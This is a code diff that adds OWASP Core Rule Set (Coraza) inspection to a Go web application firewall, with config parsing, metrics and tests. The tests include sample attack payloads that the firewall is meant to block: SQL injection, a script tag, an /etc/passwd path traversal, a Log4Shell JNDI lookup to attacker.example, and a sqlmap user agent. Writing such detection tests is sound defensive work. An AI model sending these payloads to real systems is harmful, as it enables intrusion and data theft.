+// rules, each a whole number above zero and outside firstSetupRuleID to
+// lastSetupRuleID.
+func parseRuleIDs(value string) ([]int, error) {
+	items, err := parseList(value)
+	if err != nil {
+		return nil, err
+	}
+
+	ids := make([]int, len(items))
+
+	for i, item := range items {
+		ids[i], err = strconv.Atoi(item)
+		if err != nil || ids[i] <= 0 {
+			return nil, fmt.Errorf("%q %w", item, errNotRuleID)
+		}
+
+		if ids[i] >= firstSetupRuleID && ids[i] <= lastSetupRuleID {
+			return nil, fmt.Errorf("%q %w", item, errSetupRuleID)
+		}
+	}
+
+	return ids, nil
+}
+
 // countryCodes are the two-letter codes ISO 3166-1 assigns today, and XK,
 // the code in common use for Kosovo. golang.org/x/text/language cannot
 // check them: it also takes withdrawn codes such as su, and reserved ones

internal/config/config_test.go

@@ -91,6 +91,12 @@ const (
 	logLevel                = "SWWAF_LOG_LEVEL"
 	rulesDir                = "SWWAF_RULES_DIR"
 	rulesEnabled            = "SWWAF_RULES_ENABLED"
+	wafMode                 = "SWWAF_WAF_MODE"
+	wafParanoiaLevel        = "SWWAF_WAF_PARANOIA_LEVEL"
+	wafAnomalyThreshold     = "SWWAF_WAF_ANOMALY_THRESHOLD"
+	wafDisabledRules        = "SWWAF_WAF_DISABLED_RULES"
+	wafExemptPaths          = "SWWAF_WAF_EXEMPT_PATHS"
+	wafBodyLimit            = "SWWAF_WAF_BODY_LIMIT"
 	trapPaths               = "SWWAF_TRAP_PATHS"
 	errorBurstThreshold     = "SWWAF_ERROR_BURST_THRESHOLD"
 	logRemoteURL            = "SWWAF_LOG_REMOTE_URL"
@@ -170,6 +176,9 @@ const (
 // defaultReputationCacheTTL is the default of SWWAF_REPUTATION_CACHE_TTL.
 const defaultReputationCacheTTL = "24h"
 
+// defaultWAFDisabledRules is the default of SWWAF_WAF_DISABLED_RULES.
+const defaultWAFDisabledRules = "920340,920420,920440,920640,930130,930140"
+
 // defaultLogRequestHeaders is the default of SWWAF_LOG_REQUEST_HEADERS.
 const defaultLogRequestHeaders = "accept,accept-language,accept-encoding," +
 	"content-type,origin,range"
@@ -553,6 +562,132 @@ func TestInvalidTrapPathOrErrorBurstThresholdStopsTheStart(t *testing.T) {
 	}
 }
 
+func TestCoreRuleSetSettings(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		env  environment
+		want config.Config
+	}{
+		{
+			environment{},
+			config.Config{
+				WAFMode: config.WAFModeBlock, WAFParanoiaLevel: 1, WAFAnomalyThreshold: 5,
+				WAFDisabledRules: []int{920340, 920420, 920440, 920640, 930130, 930140},
+				WAFExemptPaths:   []string{},
+			},
+		},
+		{
+			environment{
+				wafMode: config.WAFModeDetect, wafParanoiaLevel: "4", wafAnomalyThreshold: "10",
+				wafDisabledRules: "942100, 920350", wafExemptPaths: "/api/, /static/",
+				wafBodyLimit: "128K",
+			},
+			config.Config{
+				WAFMode: config.WAFModeDetect, WAFParanoiaLevel: 4, WAFAnomalyThreshold: 10,
+				WAFDisabledRules: []int{942100, 920350},
+				WAFExemptPaths:   []string{"/api/", "/static/"},
+				WAFBodyLimit:     128 << 10,
+			},
+		},
+		{
+			environment{
+				wafMode: off, wafAnomalyThreshold: off, wafDisabledRules: "",
+				wafBodyLimit: off,
+			},
+			config.Config{
+				WAFMode: config.WAFModeOff, WAFParanoiaLevel: 1, WAFAnomalyThreshold: 0,
+				WAFDisabledRules: []int{}, WAFExemptPaths: []string{},
+			},
+		},
+	} {
+		cfg := fromEnvironment(t, tc.env)
+
+		got := config.Config{
+			WAFMode: cfg.WAFMode, WAFParanoiaLevel: cfg.WAFParanoiaLevel,
+			WAFAnomalyThreshold: cfg.WAFAnomalyThreshold,
+			WAFDisabledRules:    cfg.WAFDisabledRules, WAFExemptPaths: cfg.WAFExemptPaths,
+			WAFBodyLimit: cfg.WAFBodyLimit,
+		}
+		if !reflect.DeepEqual(got, tc.want) {
+			t.Errorf("%v gave\n%+v\nwant\n%+v", tc.env, got, tc.want)
+		}
+	}
+}
+
+func TestWAFBodyLimitOf1G(t *testing.T) {
+	t.Parallel()
+
+	cfg := fromEnvironment(t, environment{wafBodyLimit: "1G"})
+	if cfg.WAFBodyLimit != 1<<30 {
+		t.Errorf("1G read as %d", cfg.WAFBodyLimit)
+	}
+}
+
+func TestInvalidCoreRuleSetSettingStopsTheStart(t *testing.T) {
+	t.Parallel()
+
+	const (
+		notParanoiaLevel = " is not a paranoia level, from 1 to 4"
+		setupRule        = " is from 900000 to 900999, the ids of the rules that set " +
+			"the Core Rule Set up and of smallwebwaf's own, which cannot be switched off"
+	)
+
+	for _, tc := range []struct{ name, value, want string }{
+		{wafMode, "enforce", `"enforce" is not off, detect or block`},
+		{wafParanoiaLevel, "0", `"0"` + notParanoiaLevel},
+		{wafParanoiaLevel, "5", `"5"` + notParanoiaLevel},
+		{wafParanoiaLevel, off, `"off"` + notParanoiaLevel},
+		{
+			wafAnomalyThreshold, "0",
+			`"0" is not a whole number above zero, such as 60, or off`,
+		},
+		{
+			wafDisabledRules, "920340,REQUEST-920",
+			`"REQUEST-920" is not the id of a Core Rule Set rule, ` +
+				`a whole number such as 942100`,
+		},
+		{
+			wafDisabledRules, "-942100",
+			`"-942100" is not the id of a Core Rule Set rule, ` +
+				`a whole number such as 942100`,
+		},
+		// The paranoia level, the allowed methods, the headers refused, a
+		// request with more query parameters than Coraza keeps, and a body
+		// Coraza cannot parse or that fails its strict checks.
+		{wafDisabledRules, "942100,900000", `"900000"` + setupRule},
+		{wafDisabledRules, "942100,900200", `"900200"` + setupRule},
+		{wafDisabledRules, "942100,900250", `"900250"` + setupRule},
+		{wafDisabledRules, "942100,900300", `"900300"` + setupRule},
+		{wafDisabledRules, "942100,900440", `"900440"` + setupRule},
+		{wafDisabledRules, "942100,900450", `"900450"` + setupRule},
+		{
+			wafExemptPaths, "api/",
+			`"api/" is not a path prefix starting with /, such as /assets/`,
+		},
+		{
+			wafBodyLimit, "128KB",
+			`"128KB" is not a size such as 512K, 100M or 5G, or off`,
+		},
+		{wafBodyLimit, "2G", `"2G" is more than 1G, the most Coraza reads`},
+		{
+			wafBodyLimit, "1073741825",
+			`"1073741825" is more than 1G, the most Coraza reads`,
+		},
+	} {
+		t.Run(tc.name+"="+tc.value, func(t *testing.T) {
+			t.Parallel()
+
+			_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
+
+			want := tc.name + ": " + tc.want
+			if err == nil || err.Error() != want {
+				t.Errorf("error %v, want %s", err, want)
+			}
+		})
+	}
+}
+
 func TestInstanceNameAndLoggedHeadersAsSet(t *testing.T) {
 	t.Parallel()
 
@@ -2291,6 +2426,12 @@ func TestLogsEachSettingWithItsValue(t *testing.T) {
 		logLevel:                "info",
 		rulesDir:                "/etc/smallwebwaf/rules.d",
 		rulesEnabled:            "true",
+		wafMode:                 config.WAFModeBlock,
+		wafParanoiaLevel:        "1",
+		wafAnomalyThreshold:     "5",
+		wafDisabledRules:        defaultWAFDisabledRules,
+		wafExemptPaths:          "",
+		wafBodyLimit:            off,
 		trapPaths:               "",
 		errorBurstThreshold:     "30",
 		logRemoteURL:            "",

internal/metrics/metrics.go

@@ -36,6 +36,7 @@ type Metrics struct {
 	rateLimitHits        *prometheus.CounterVec
 	sizeAndTimeLimitHits *prometheus.CounterVec
 	offences             *prometheus.CounterVec
+	wafMatches           *prometheus.CounterVec
 	// ruleMatches are made by AddRules, and reputationHits by
 	// AddReputation.
 	ruleMatches    *prometheus.CounterVec
@@ -63,6 +64,8 @@ type Metrics struct {
 // topN is how many countries and how many AS numbers get series of their
 // own (SWWAF_METRICS_TOP_N). Every metric carries instanceName
 // (SWWAF_INSTANCE_NAME) as its label instance.
+//
+//nolint:funlen // a few lines for each metric, a list that grows with them
 func New(topN int, instanceName string) *Metrics {
 	byStatus := []string{"status_class", "action"}
 	byFile := []string{"file"}
@@ -101,6 +104,9 @@ func New(topN int, instanceName string) *Metrics {
 			[]string{"limit"}),
 		offences: counterVec("smallwebwaf_offences_total",
 			"Offences, by kind.", []string{"kind"}),
+		wafMatches: counterVec("smallwebwaf_waf_matches_total",
+			"Requests that matched a rule of the Core Rule Set, by SWWAF_WAF_MODE "+
+				"and the rule's id.", []string{"mode", "rule_id"}),
 		countries: newCountries(topN),
 		asns:      newASNs(topN),
 		GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
@@ -136,7 +142,8 @@ func New(topN int, instanceName string) *Metrics {
 		collectors.NewProcessCollector(collectors.ProcessCollectorOpts{}),
 		m.inFlight, m.requests, m.requestBytes, m.responseBytes,
 		m.requestDuration, m.upstreamDuration,
-		m.rateLimitHits, m.sizeAndTimeLimitHits, m.offences, m.countries, m.asns,
+		m.rateLimitHits, m.sizeAndTimeLimitHits, m.offences, m.wafMatches,
+		m.countries, m.asns,
 		m.GeoJSRequests, m.GeoJSFailures, m.GeoJSUnanswered,
 		m.stateFileWrites, m.stateFileWriteFailures,
 		m.stateFileLastWrite, m.stateFileSize,
@@ -433,6 +440,7 @@ func (m *Metrics) Offences(r ratelimit.Request) {
 		"limit":         r.BrokeLimit,
 		"attack":        r.Attack,
 		"rule_blocked":  r.RuleBlocked,
+		"waf_blocked":   r.WAFBlocked,
 		"token_refused": r.TokenRefused,
 	} {
 		if committed {
@@ -447,6 +455,12 @@ func (m *Metrics) RuleMatched(id, action string) {
 	m.ruleMatches.WithLabelValues(id, action).Inc()
 }
 
+// WAFMatched counts a request that matched the Core Rule Set's rule id,
+// with SWWAF_WAF_MODE at mode.
+func (m *Metrics) WAFMatched(mode string, id int) {
+	m.wafMatches.WithLabelValues(mode, strconv.Itoa(id)).Inc()
+}
+
 // StateFileWritten counts a write of the state file name, of size bytes,
 // that ended with err.
 func (m *Metrics) StateFileWritten(name string, size int, err error) {

internal/proxy/bans.go

@@ -84,12 +84,12 @@ func (rq *request) countBytes() {
 }
 
 // countRefusal counts the request for the error burst once it has been
-// answered, if smallwebwaf refused it after a rule file match or a trap
-// path, or for a missing or wrong token, and in observe mode if enforce
-// mode would have: more than SWWAF_ERROR_BURST_THRESHOLD such refusals of
-// the client within a minute break a limit. A client in SWWAF_ALLOW_NETS,
-// which the checks skip, is not counted, and nothing is while the
-// threshold is off.
+// answered, if smallwebwaf refused it after a rule file match, a trap path
+// or a Core Rule Set match, or for a missing or wrong token, and in
+// observe mode if enforce mode would have: more than
+// SWWAF_ERROR_BURST_THRESHOLD such refusals of the client within a minute
+// break a limit. A client in SWWAF_ALLOW_NETS, which the checks skip, is
+// not counted, and nothing is while the threshold is off.
 func (rq *request) countRefusal() {
 	cfg := rq.h.config
 	if cfg.ErrorBurstThreshold == 0 {
@@ -100,7 +100,7 @@ func (rq *request) countRefusal() {
 	// before it reached the endpoint has had no token refused there.
 	tokenRefused := rq.tokenRefused && rq.line.WouldAction == "" &&
 		!isInside(rq.client, cfg.AllowNets)
-	if !rq.attack && !rq.ruleBlocked && !tokenRefused {
+	if !rq.attack && !rq.ruleBlocked && !rq.wafBlocked && !tokenRefused {
 		return
 	}
 
@@ -116,7 +116,7 @@ func (rq *request) countRefusal() {
 	status := rq.out.status
 
 	switch rq.line.WouldAction {
-	case requestlog.ActionRuleBlocked:
+	case requestlog.ActionRuleBlocked, requestlog.ActionWAFBlocked:
 		status = http.StatusForbidden
 	case requestlog.ActionBanned:
 		status = cfg.BanResponse

internal/proxy/bodies.go

@@ -1,8 +1,10 @@
 package proxy
 
 import (
+	"bufio"
 	"errors"
 	"io"
+	"net"
 	"net/http"
 	"sync/atomic"
 
@@ -21,6 +23,9 @@ type requestBody struct {
 	// SWWAF_REQUEST_MAX_BYTES.
 	body io.ReadCloser
 	rq   *request
+	// readByCoreRuleSet is what the Core Rule Set read of the body before
+	// the request went to the app, and Read gives first.
+	readByCoreRuleSet []byte
 	// waiting is true while a Read waits for the client to send more.
 	waiting atomic.Bool
 	// received is true once the client has sent the whole body.
@@ -29,8 +34,16 @@ type requestBody struct {
 	bytes atomic.Int64
 }
 
-// Read reads from the client's body.
+// Read reads from the client's body, after what the Core Rule Set read of
+// it, which has been counted already.
 func (b *requestBody) Read(p []byte) (int, error) {
+	if len(b.readByCoreRuleSet) > 0 {
+		n := copy(p, b.readByCoreRuleSet)
+		b.readByCoreRuleSet = b.readByCoreRuleSet[n:]
+
+		return n, nil
+	}
+
 	b.waiting.Store(true)
 	n, err := b.body.Read(p)
 	b.waiting.Store(false)
@@ -200,9 +213,20 @@ func (w *responseWriter) FlushError() error {
 	return err
 }
 
+// Hijack takes over the connection to the client, which ReverseProxy does
+// only to pass on the app's 101 Switching Protocols: that is then the
+// status sent.
+func (w *responseWriter) Hijack() (net.Conn, *bufio.ReadWriter, error) {
+	conn, buffered, err := http.NewResponseController(w.ResponseWriter).Hijack()
+	if err == nil {
+		w.status = http.StatusSwitchingProtocols
+	}
+
+	return conn, buffered, err
+}
+
 // Unwrap lets http.ResponseController reach net/http's own
-// ResponseWriter, which is how ReverseProxy takes over the connection of
-// an upgraded request.
+// ResponseWriter for what responseWriter does not do itself.
 func (w *responseWriter) Unwrap() http.ResponseWriter {
 	return w.ResponseWriter
 }

internal/proxy/bytelimits_test.go

@@ -282,8 +282,6 @@ func TestByteLimitsLeaveOutWhatTheRateLimitsLeaveOut(t *testing.T) {
 func TestByteLimitsOffCountTheBytesAndBanNoOne(t *testing.T) {
 	t.Parallel()
 
-	const off = "off"
-
 	s, _ := startWithAnswers(t, map[string]string{
 		bytesLimitPerMinute: off, bytesLimitPerHour: off, bytesLimitPerDay: off,
 	})

internal/proxy/coreruleset.go

@@ -0,0 +1,124 @@
+package proxy
+
+import (
+	"errors"
+	"net/http"
+	"os"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/config"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/waf"
+)
+
+// checkCoreRuleSet inspects the request with the Core Rule Set, unless
+// SWWAF_WAF_MODE is off or SWWAF_WAF_EXEMPT_PATHS exempts its path, as
+// pathExempt decides, and notes the rules it matched and its score in the
+// log line, and the rules in the metrics. A score at or over
+// SWWAF_WAF_ANOMALY_THRESHOLD is a match: it raises the waf_block alert,
+// and in block mode refuses the request, which is an offence its client's
+// history counts, and so returns ActionWAFBlocked. It returns "" for a
+// request it does not refuse, and for one whose body meets a size or time
+// limit while the Core Rule Set reads it, which it notes nothing of.
+func (rq *request) checkCoreRuleSet() string {
+	cfg := rq.h.config
+	if cfg.WAFMode == config.WAFModeOff || pathExempt(rq.in, cfg.WAFExemptPaths) {
+		return ""
+	}
+
+	start := time.Now()
+
+	result := rq.inspect()
+	if rq.refused.Load() != nil {
+		return "" // the refusal for that limit, which check returns
+	}
+
+	rq.line.DurationWAF = new(requestlog.Milliseconds(time.Since(start)))
+	rq.line.WAFRuleIDs = result.RuleIDs
+	rq.line.WAFScore = &result.Score
+
+	for _, id := range result.RuleIDs {
+		rq.h.metrics.WAFMatched(cfg.WAFMode, id)
+	}
+
+	threshold := cfg.WAFAnomalyThreshold
+	if threshold == 0 || result.Score < threshold {
+		return ""
+	}
+
+	rq.alertWAFBlock(result)
+
+	if cfg.WAFMode == config.WAFModeDetect {
+		return ""
+	}
+
+	rq.wafBlocked = true
+
+	return requestlog.ActionWAFBlocked
+}
+
+// inspect runs the Core Rule Set on the request, which reads the part of
+// its body it inspects within SWWAF_CLIENT_REQUEST_TIMEOUT, and keeps that
+// part for the app. A client that runs out of time is refused with 408
+// here, and a body over SWWAF_REQUEST_MAX_BYTES with 413 as it is read;
+// check returns the refusal. A body that breaks off for any other reason
+// is passed on as far as it came, and the request to the app fails there,
+// as it would have without the Core Rule Set.
+func (rq *request) inspect() waf.Result {
+	if rq.body == nil {
+		// Nothing is read of no body, so nothing can go wrong reading it.
+		result, _, _ := rq.h.coreRuleSet.Inspect(rq.in, rq.client, http.NoBody)
+
+		return result
+	}
+
+	_ = rq.rc.SetReadDeadline(rq.clientRequestDeadline())
+	result, read, err := rq.h.coreRuleSet.Inspect(rq.in, rq.client, rq.body)
+	// The timeouts that run while the request goes to the app take over.
+	_ = rq.rc.SetReadDeadline(time.Time{})
+
+	rq.body.readByCoreRuleSet = read
+
+	if errors.Is(err, os.ErrDeadlineExceeded) {
+		rq.refuse(refusal{
+			status: http.StatusRequestTimeout,
+			action: requestlog.ActionTimedOut,
+			limit:  "SWWAF_CLIENT_REQUEST_TIMEOUT",
+		})
+	}
+
+	return result
+}
+
+// alertWAFBlock raises the waf_block alert for the request, which the Core
+// Rule Set scored at result, at or over SWWAF_WAF_ANOMALY_THRESHOLD. Its
+// detail gives the rule ids, the score, the method and the path with the
+// query, and, for a request that is not refused for it, the mode: detect,
+// or observe in observe mode.
+func (rq *request) alertWAFBlock(result waf.Result) {
+	detail := map[string]any{
+		"rule_ids": result.RuleIDs,
+		"score":    result.Score,
+		"method":   rq.in.Method,
+		"path":     rq.in.URL.RequestURI(),
+	}
+
+	switch {
+	case rq.h.config.WAFMode == config.WAFModeDetect:
+		detail["mode"] = config.WAFModeDetect
+	case rq.h.config.Observe:
+		detail["mode"] = "observe"
+	}
+
+	rq.h.alerts.Raise(alerts.Alert{
+		Event:    alerts.EventWAFBlock,
+		Client:   rq.client,
+		Netblock: rq.h.clientGroup(rq.client),
+		ASN:      rq.line.ASN,
+		ASName:   rq.line.ASName,
+		Country:  rq.line.Country,
+		Reason:   "scored by the Core Rule Set at or over SWWAF_WAF_ANOMALY_THRESHOLD",
+		Detail:   detail,
+	})
+}

internal/proxy/coreruleset_test.go

@@ -0,0 +1,590 @@
+package proxy_test
+
+import (
+	"io"
+	"net/http"
+	"net/netip"
+	"slices"
+	"strconv"
+	"strings"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+)
+
+// The Core Rule Set's settings the tests set, besides SWWAF_WAF_MODE, and
+// its two modes that inspect requests.
+const (
+	wafAnomalyThreshold = "SWWAF_WAF_ANOMALY_THRESHOLD"
+	wafDisabledRules    = "SWWAF_WAF_DISABLED_RULES"
+	wafExemptPaths      = "SWWAF_WAF_EXEMPT_PATHS"
+	wafBodyLimit        = "SWWAF_WAF_BODY_LIMIT"
+	block               = "block"
+	detect              = "detect"
+)
+
+// formData is the type of a form's body.
+const formData = "application/x-www-form-urlencoded"
+
+// sqlInjection asks for / with an SQL injection in its query, which only
+// the Core Rule Set's rule 942100 matches, with a score of 5, the default
+// SWWAF_WAF_ANOMALY_THRESHOLD.
+const sqlInjection = "/?id=1'%20OR%20'1'='1"
+
+// wantWAF checks the request log line's waf_rule_ids and waf_score, and
+// that it has duration_waf, or with no score, that it has none of the
+// three: the Core Rule Set did not inspect the request.
+func wantWAF(t *testing.T, line logLine, score *int, ruleIDs ...int) {
+	t.Helper()
+
+	if !slices.Equal(line.WAFRuleIDs, ruleIDs) {
+		t.Errorf("log line has waf_rule_ids %v, want %v", line.WAFRuleIDs, ruleIDs)
+	}
+
+	switch {
+	case score == nil && (line.WAFScore != nil || line.DurationWAF != nil):
+		t.Errorf("log line has waf_score %v and duration_waf %v, want neither",
+			line.fields["waf_score"], line.fields["duration_waf"])
+	case score != nil && (line.WAFScore == nil || *line.WAFScore != *score):
+		t.Errorf("log line has waf_score %v, want %d", line.fields["waf_score"], *score)
+	case score != nil && line.DurationWAF == nil:
+		t.Error("log line has no duration_waf")
+	}
+}
+
+func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(t *testing.T) {
+	t.Parallel()
+
+	for _, attack := range []struct {
+		name, path, header string
+		ruleIDs            []int
+		score              int
+	}{
+		{"SQL injection in the query", sqlInjection, "", []int{942100}, 5},
+		{
+			"script in the query", "/?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E", "",
+			[]int{941100, 941110, 941160, 941390}, 20,
+		},
+		{
+			"path traversal in the path", "/files/../../etc/passwd", "",
+			[]int{930100, 930110}, 10,
+		},
+		{
+			"Log4Shell in a header", "/", "X-Api-Version: ${jndi:ldap://attacker.example/a}",
+			[]int{944150}, 5,
+		},
+		{"scanner's user agent", "/", "User-Agent: sqlmap/1.7", []int{913100}, 5},
+		{
+			// Coraza keeps the first 1000 query parameters.
+			"SQL injection after 1000 query parameters",
+			"/?" + strings.Repeat("a=1&", 1000) + "id=1'%20OR%20'1'='1", "",
+			[]int{900300}, 5,
+		},
+	} {
+		t.Run(attack.name, func(t *testing.T) {
+			t.Parallel()
+
+			for _, tc := range []struct {
+				mode, action string
+				status       int
+			}{
+				{block, requestlog.ActionWAFBlocked, http.StatusForbidden},
+				{detect, requestlog.ActionForward, http.StatusOK},
+			} {
+				s, _, _ := startWithClock(t, "", map[string]string{wafMode: tc.mode})
+
+				line, _ := s.requestWithHeader(client, attack.path, attack.header,
+					tc.status, tc.action)
+				wantWAF(t, line, &attack.score, attack.ruleIDs...)
+			}
+		})
+	}
+}
+
+func TestOrdinaryRequestIsInspectedAndPassed(t *testing.T) {
+	t.Parallel()
+
+	s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
+
+	line := s.request(client, "/owner/repo/src/branch/main/README.md?display=source",
+		http.StatusOK, requestlog.ActionForward)
+	wantWAF(t, line, new(0))
+}
+
+func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
+	t *testing.T,
+) {
+	t.Parallel()
+
+	const allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS
+
+	s, _, _ := startWithClock(t, "", map[string]string{
+		wafMode:        block,
+		wafExemptPaths: "/api/",
+		allowNets:      allowed,
+		rulesDir:       writeRules(t, testRules),
+	})
+
+	// A client in SWWAF_ALLOW_NETS, and a path SWWAF_WAF_EXEMPT_PATHS
+	// exempts, are not inspected.
+	line := s.request(allowed, sqlInjection, http.StatusOK, requestlog.ActionForward)
+	wantWAF(t, line, nil)
+	line = s.request(client, "/api/v1/repos?id=1'%20OR%20'1'='1", http.StatusOK,
+		requestlog.ActionForward)
+	wantWAF(t, line, nil)
+
+	// The prefix is matched as rate limit exempt paths are: a path that
+	// goes up and out of it is inspected.
+	line = s.request(client, "/api/../?id=1'%20OR%20'1'='1", http.StatusForbidden,
+		requestlog.ActionWAFBlocked)
+	wantWAF(t, line, new(25), 930100, 930110, 942100)
+
+	// A request a rule file refuses is not inspected.
+	line = s.request(otherClient, "/blocked?id=1'%20OR%20'1'='1", http.StatusForbidden,
+		requestlog.ActionRuleBlocked)
+	wantWAF(t, line, nil)
+
+	// With SWWAF_WAF_MODE off, no request is.
+	s, _, _ = startWithClock(t, "", map[string]string{wafMode: off})
+	line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
+	wantWAF(t, line, nil)
+}
+
+func TestAnomalyThreshold(t *testing.T) {
+	t.Parallel()
+
+	// A score under the threshold, or with the threshold off, is logged,
+	// and refuses nothing.
+	for _, threshold := range []string{"6", off} {
+		s, _, _ := startWithClock(t, "", map[string]string{
+			wafMode: block, wafAnomalyThreshold: threshold,
+		})
+
+		line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
+		wantWAF(t, line, new(5), 942100)
+	}
+
+	s, _, _ := startWithClock(t, "", map[string]string{
+		wafMode: block, wafAnomalyThreshold: "5",
+	})
+	s.request(client, sqlInjection, http.StatusForbidden, requestlog.ActionWAFBlocked)
+}
+
+func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
+	t.Parallel()
+
+	for _, request := range []struct {
+		name, method, path, header string
+		// ruleIDs are the rules that match the request with none
+		// switched off.
+		ruleIDs []int
+	}{
+		{
+			"git push", http.MethodPost, "/owner/repo.git/git-receive-pack",
+			"Content-Type: application/x-git-receive-pack-request\r\nContent-Length: 4",
+			[]int{920420, 930130},
+		},
+		{
+			"package upload without a type", http.MethodPut,
+			"/api/packages/owner/generic/tool/1.0/tool.tar.gz", "Content-Length: 4",
+			[]int{920340},
+		},
+		{
+			"a shell script", http.MethodGet, "/owner/repo/raw/branch/main/install.sh", "",
+			[]int{920440},
+		},
+		{
+			"an editor's settings", http.MethodGet,
+			"/owner/repo/src/branch/main/.zed/settings.json", "", []int{930140},
+		},
+	} {
+		t.Run(request.name, func(t *testing.T) {
+			t.Parallel()
+
+			body := ""
+			if request.method != http.MethodGet {
+				body = "push"
+			}
+
+			// By default, the rules are switched off.
+			s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
+			line, _ := s.requestWithBody(request.method, client, request.path,
+				request.header, body, http.StatusOK, requestlog.ActionForward)
+			wantWAF(t, line, new(0))
+
+			// A list given replaces the default.
+			s, _, _ = startWithClock(t, "", map[string]string{
+				wafMode: block, wafDisabledRules: "942100",
+			})
+			score := 5 * len(request.ruleIDs)
+			line, _ = s.requestWithBody(request.method, client, request.path,
+				request.header, body, http.StatusForbidden, requestlog.ActionWAFBlocked)
+			wantWAF(t, line, &score, request.ruleIDs...)
+
+			// And switches off the rules it lists.
+			line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
+			wantWAF(t, line, new(0))
+		})
+	}
+}
+
+func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) {
+	t.Parallel()
+
+	const body = "id=1'%20OR%20'1'='1"
+
+	header := "Content-Type: " + formData + "\r\nContent-Length: " +
+		strconv.Itoa(len(body))
+
+	s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
+	line, _ := s.requestWithBody(http.MethodPost, client, "/", header, body,
+		http.StatusOK, requestlog.ActionForward)
+	wantWAF(t, line, new(0))
+
+	s, _, _ = startWithClock(t, "", map[string]string{
+		wafMode: block, wafBodyLimit: sizeLimitSetting,
+	})
+	line, _ = s.requestWithBody(http.MethodPost, client, "/", header, body,
+		http.StatusForbidden, requestlog.ActionWAFBlocked)
+	wantWAF(t, line, new(5), 942100)
+}
+
+func TestBodiesReachTheAppAsSentWhileBodiesAreRead(t *testing.T) {
+	t.Parallel()
+
+	// The app answers with the body it was sent, once it has the whole of
+	// it: Go's server reads no more of a body once the answer has begun.
+	app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
+		body, _ := io.ReadAll(r.Body)
+		_, _ = w.Write(body)
+	})
+	addr, out := startProxy(t, app.URL, map[string]string{
+		wafMode: block, wafBodyLimit: sizeLimitSetting,
+	})
+	longer := "a=" + strings.Repeat("b", 64*sizeLimit)
+
+	for i, tc := range []struct {
+		name, contentType, body string
+		// announced sends the body's length in Content-Length; otherwise
+		// the body is sent in chunks with no length given.
+		announced bool
+	}{
+		{"form data within the limit", formData, "a=b", true},
+		{"form data longer than the limit", formData, longer, true},
+		{"form data longer than the limit, not announced", formData, longer, false},
+		{
+			"JSON larger than the limit", "application/json",
+			`{"a":"` + strings.Repeat("b", 2*sizeLimit) + `"}`, true,
+		},
+		{
+			"a binary body", "application/octet-stream",
+			strings.Repeat("\x00\xff", sizeLimit), true,
+		},
+	} {
+		// A reader whose length the client cannot tell is sent in chunks.
+		var body io.Reader = strings.NewReader(tc.body)
+		if !tc.announced {
+			body = io.MultiReader(body)
+		}
+
+		req := newRequest(t, http.MethodPost, addr, "/", body)
+		req.Header.Set("Content-Type", tc.contentType)
+
+		got := do(t, req)
+		if got.status != http.StatusOK || string(got.body) != tc.body {
+			t.Errorf("%s: the app got %d bytes, answered %d, want the %d sent, 200",
+				tc.name, len(got.body), got.status, len(tc.body))
+		}
+
+		line := out.requestLines(t, i+1)[i]
+		wantLine(t, line, http.StatusOK, requestlog.ActionForward)
+
+		if line.RequestBytes != int64(len(tc.body)) {
+			t.Errorf("%s: log line has request_bytes %d, want %d", tc.name,
+				line.RequestBytes, len(tc.body))
+		}
+	}
+}
+
+func TestFormBodyLongerThanTheLimitStreamsOnToTheApp(t *testing.T) {
+	t.Parallel()
+
+	const (
+		first = "a=" // and twice the limit of b's, then the rest
+		rest  = 64 * sizeLimit
+	)
+
+	// past is closed once the app has received twice what the Core Rule
+	// Set reads, and got is the length of the whole body it received.
+	past := make(chan struct{})
+	got := make(chan int64, 1)
+	app := startApp(t, func(_ http.ResponseWriter, r *http.Request) {
+		n, _ := io.CopyN(io.Discard, r.Body, 2*sizeLimit)
+
+		close(past)
+
+		m, _ := io.Copy(io.Discard, r.Body)
+		got <- n + m
+	})
+	addr, out := startProxy(t, app.URL, map[string]string{
+		wafMode: block, wafBodyLimit: sizeLimitSetting,
+	})
+
+	// The client sends the rest only once the app has received the first
+	// part: were smallwebwaf to hold the body until the end, it would
+	// never come.
+	body, sender := io.Pipe()
+
+	go func() {
+		_, _ = io.WriteString(sender, first+strings.Repeat("b", 2*sizeLimit))
+
+		select {
+		case <-past:
+		case <-time.After(waitLimit):
+			t.Error("the app got no more than the Core Rule Set reads " +
+				"before the whole body was sent")
+
+			_ = sender.CloseWithError(io.ErrUnexpectedEOF)
+
+			return
+		}
+
+		_, _ = io.WriteString(sender, strings.Repeat("b", rest))
+		_ = sender.Close()
+	}()
+
+	req := newRequest(t, http.MethodPost, addr, "/", body)
+	req.Header.Set("Content-Type", formData)
+	wantStatus(t, do(t, req), http.StatusOK)
+
+	want := int64(len(first) + 2*sizeLimit + rest)
+	if n := <-got; n != want {
+		t.Errorf("the app got %d bytes, want %d", n, want)
+	}
+
+	wantLine(t, out.requestLine(t), http.StatusOK, requestlog.ActionForward)
+}
+
+func TestClientTooSlowToSendWhatTheCoreRuleSetReads(t *testing.T) {
+	t.Parallel()
+
+	app := startApp(t, func(http.ResponseWriter, *http.Request) {})
+	addr, out := startProxy(t, app.URL, map[string]string{
+		wafMode: block, wafBodyLimit: sizeLimitSetting,
+		clientRequestTimeout: shortTimeoutSetting, metricsToken: token,
